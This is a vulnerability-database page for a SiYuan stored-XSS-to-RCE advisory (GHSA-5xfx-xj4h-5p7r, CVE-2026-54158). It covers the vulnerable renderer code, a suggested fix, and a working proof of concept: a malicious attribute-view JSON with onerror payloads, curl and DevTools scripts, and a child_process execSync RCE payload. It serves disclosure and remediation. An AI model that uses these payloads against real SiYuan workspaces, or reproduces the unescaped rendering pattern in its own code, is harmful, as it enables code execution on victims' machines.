Vulnerability-Lookup

GHSA-5XFX-XJ4H-5P7R

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34

Summary

SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

Details

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

HEAD 96dfe0b (v3.6.5, 2026-04-21)
Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr — safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

case "text":
  html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
  break;
case "url":
  html = `<input value="${escapeAttr(value.url.content)}" ...>
          <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
  break;
case "phone":
  html = `<input value="${escapeAttr(value.phone.content)}" ...>
          <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
  break;
case "mAsset":
  // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:53Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `\u003c/textarea\u003e\u003cimg src=x onerror=\"...\"\u003e` or `\"\u003e\u003cimg src=x onerror=\"...\"\u003e` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require(\u0027child_process\u0027)`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn\u0027t escape on the way in either, so the malicious cell persists byte-for-byte. There\u0027s no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/\u003cavID\u003e.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) =\u003e {\n  let html = \"\";\n  switch (value.type) {\n    case \"block\":\n      // escaped via escapeAttr \u2014 safe\n      html = `\u003cinput ... value=\"${escapeAttr(value.block.content)}\" ...\u003e`;\n      break;\n    case \"text\":\n      // value.text.content goes raw into a \u003ctextarea\u003e\n      html = `\u003ctextarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...\u003e${value.text?.content || \"\"}\u003c/textarea\u003e`;\n      break;\n    case \"url\":\n      // value.url.content goes raw into value=\"...\" and href=\"...\"\n      html = `\u003cinput value=\"${value.url.content}\" ...\u003e\n              \u003ca ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"phone\":\n      // same pattern as url\n      html = `\u003cinput value=\"${value.phone.content}\" ...\u003e\n              \u003ca ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...\u003e`;\n      break;\n    case \"mAsset\":\n      value.mAsset?.forEach(item =\u003e {\n        if (item.type === \"image\") {\n          // item.content raw inside aria-label\n          html += `\u003cimg ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\"\u003e`;\n        } else {\n          // attributes escaped, but ${item.name || item.content} text-node is raw\n          html += `\u003cspan ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\"\u003e${item.name || item.content}\u003c/span\u003e`;\n        }\n      });\n      break;\n    // other cases use escapeHtml / escapeAttr correctly\n  }\n  return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren\u0027t applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n    item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n \u0027html.Escape\\|EscapeHTML\\|EscapeString\u0027 kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/\u003cavID\u003e.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n  html = `\u003ctextarea ...\u003e${escapeHtml(value.text?.content || \"\")}\u003c/textarea\u003e`;\n  break;\ncase \"url\":\n  html = `\u003cinput value=\"${escapeAttr(value.url.content)}\" ...\u003e\n          \u003ca ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"phone\":\n  html = `\u003cinput value=\"${escapeAttr(value.phone.content)}\" ...\u003e\n          \u003ca ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...\u003e`;\n  break;\ncase \"mAsset\":\n  // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you\u0027re in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn\u0027t retroactively neutralize payloads already sitting in synced workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n  \"spec\": 2,\n  \"id\": \"20260519999999-poctest\",\n  \"name\": \"PocAV\",\n  \"keyValues\": [\n    {\n      \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n      \"values\": [{\n        \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n        \"type\": \"block\", \"isDetached\": true,\n        \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n      \"values\": [{\n        \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n        \"type\": \"text\",\n        \"text\": {\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n      \"values\": [{\n        \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n        \"type\": \"url\",\n        \"url\": {\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"}\n      }]\n    }\n  ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d \u0027{\"id\":\"20260519999999-poctest\"}\u0027 \\\n  | python3 -m json.tool | grep -E \u0027\"content\":\u0027\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"\u003c/textarea\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_xss=\u0027FIRED\u0027\\\"\u003e\"\n\"content\": \"\\\"\u003e\u003cimg src=x onerror=\\\"window.__siyuan_av_url_xss=\u0027FIRED\u0027\\\"\u003e\"\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` come back literal, no escape.\n\nIn the Siyuan renderer\u0027s DevTools:\n\n```js\nconst res = await fetch(\u0027/api/av/getAttributeView\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({id: \u002720260519999999-poctest\u0027})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n  for (const v of kv.values || []) {\n    if (v.type === \u0027text\u0027 \u0026\u0026 v.text) textValue = v;\n    if (v.type === \u0027url\u0027 \u0026\u0026 v.url) urlValue = v;\n  }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `\u003ctextarea rows=\"${(textValue.text?.content||\u0027\u0027).split(\u0027\\n\u0027).length}\"\u003e${textValue.text?.content || \u0027\u0027}\u003c/textarea\u003e`;\nconst urlHTML  = `\u003cinput value=\"${urlValue.url.content}\"\u003e`;\n\nconst div = document.createElement(\u0027div\u0027);\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r =\u003e setTimeout(r, 250));\n\nconsole.log({\n  textMarkerFired: window.__siyuan_av_xss === \u0027FIRED\u0027,\n  urlMarkerFired: window.__siyuan_av_url_xss === \u0027FIRED\u0027,\n  imgsInDiv: div.querySelectorAll(\u0027img\u0027).length,\n  title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n  \"textMarkerFired\": true,\n  \"urlMarkerFired\": true,\n  \"imgsInDiv\": 3,\n  \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`\u003c/textarea\u003e` and `\"\u003e` both broke out, the smuggled `\u003cimg\u003e` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.",
  "id": "GHSA-5xfx-xj4h-5p7r",
  "modified": "2026-07-10T19:34:53Z",
  "published": "2026-07-10T19:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()"
}

CVE-2026-54158 (GCVE-0-2026-54158)

Vulnerability from cvelistv5 – Published: 2026-06-24 21:19 – Updated: 2026-06-25 23:12

Title

SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

Summary

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

Severity

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-1188 - Insecure Default Initialization of Resource

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54158",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T23:11:44.806060Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-25T23:12:30.943Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like \u003c/textarea\u003e\u003cimg src=x onerror=\"...\"\u003e or \"\u003e\u003cimg src=x onerror=\"...\"\u003e breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require(\u0027child_process\u0027). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn\u0027t escape on the way in either, so the malicious cell persists byte-for-byte. There\u0027s no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1188",
              "description": "CWE-1188: Insecure Default Initialization of Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-24T21:19:16.988Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"
        }
      ],
      "source": {
        "advisory": "GHSA-5xfx-xj4h-5p7r",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54158",
    "datePublished": "2026-06-24T21:19:16.988Z",
    "dateReserved": "2026-06-11T21:46:52.379Z",
    "dateUpdated": "2026-06-25T23:12:30.943Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-5XFX-XJ4H-5P7R

Summary

Details

The sink

The write path

Storage and sync

Suggested fix

PoC

Impact

CVE-2026-54158 (GCVE-0-2026-54158)

Tags

Sightings

Nomenclature